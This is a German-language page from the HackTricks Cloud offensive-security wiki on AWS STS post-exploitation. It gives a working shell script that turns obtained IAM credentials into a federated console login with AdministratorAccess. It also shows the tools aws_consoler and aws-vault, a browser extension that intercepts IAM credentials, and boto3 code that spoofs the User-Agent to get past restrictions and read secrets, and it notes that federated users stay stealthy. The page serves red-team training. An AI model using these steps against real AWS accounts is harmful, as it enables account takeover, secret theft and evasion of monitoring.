AWS - STS Post Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
STS
Weitere Informationen:
AWS - IAM, Identity Center & SSO Enum
From IAM Creds to Console
Wenn du einige IAM-Zugangsdaten erlangt hast, könntest du daran interessiert sein, die web console mit den folgenden Tools zu betreten. Beachte, dass der Benutzer/die Rolle die Berechtigung sts:GetFederationToken haben muss.
Eigenes Script
Das folgende Script verwendet das Standardprofil und einen standardmäßigen AWS-Standort (nicht gov und nicht cn), um dir eine signierte URL zu geben, mit der du dich in die web console einloggen kannst:
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi
# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')
# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"
# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
aws_consoler
Sie können mit https://github.com/NetSPI/aws_consoler einen Web-Console-Link generieren.
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
Warning
Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung
sts:GetFederationTokenhat, oder stellen Sie eine Rolle zum Übernehmen bereit.
aws-vault
aws-vault ist ein Tool, um AWS credentials in einer Entwicklungsumgebung sicher zu speichern und darauf zuzugreifen.
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
Note
Sie können auch aws-vault verwenden, um eine Browser-Console-Session zu erhalten
Von der Web-Konsole zu IAM Creds
Die Browser-Erweiterung https://github.com/AI-redteam/clier ist in der Lage, IAM credentials aus dem Netzwerk abzufangen, bevor sie im Speicher des Browsers geschützt werden.
User-Agent-Einschränkungen in Python umgehen
Wenn es eine Einschränkung gibt, bestimmte Aktionen basierend auf dem verwendeten User-Agent durchzuführen (z. B. die Verwendung der python boto3 library basierend auf dem User-Agent einzuschränken), ist es möglich, die vorherige Technik zu verwenden, um über einen Browser eine Verbindung zur Web-Konsole herzustellen, oder Sie können direkt den boto3 User-Agent ändern, indem Sie:
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")
# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
sts:GetFederationToken
Mit dieser Berechtigung ist es möglich, eine föderierte Identität für den ausführenden Benutzer zu erstellen, beschränkt auf die Berechtigungen, die dieser Benutzer hat.
aws sts get-federation-token --name <username>
Das von sts:GetFederationToken zurückgegebene Token gehört zur federated identity des aufrufenden Benutzers, hat jedoch eingeschränkte Berechtigungen. Selbst wenn der Benutzer Administratorrechte besitzt, können bestimmte Aktionen wie das Auflisten von IAM users oder das Anhängen von policies nicht mit dem federated token ausgeführt werden.
Außerdem ist diese Methode etwas stealthy, da der federated user nicht im AWS Portal erscheint — er kann nur über CloudTrail logs oder Monitoring-Tools beobachtet werden.
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

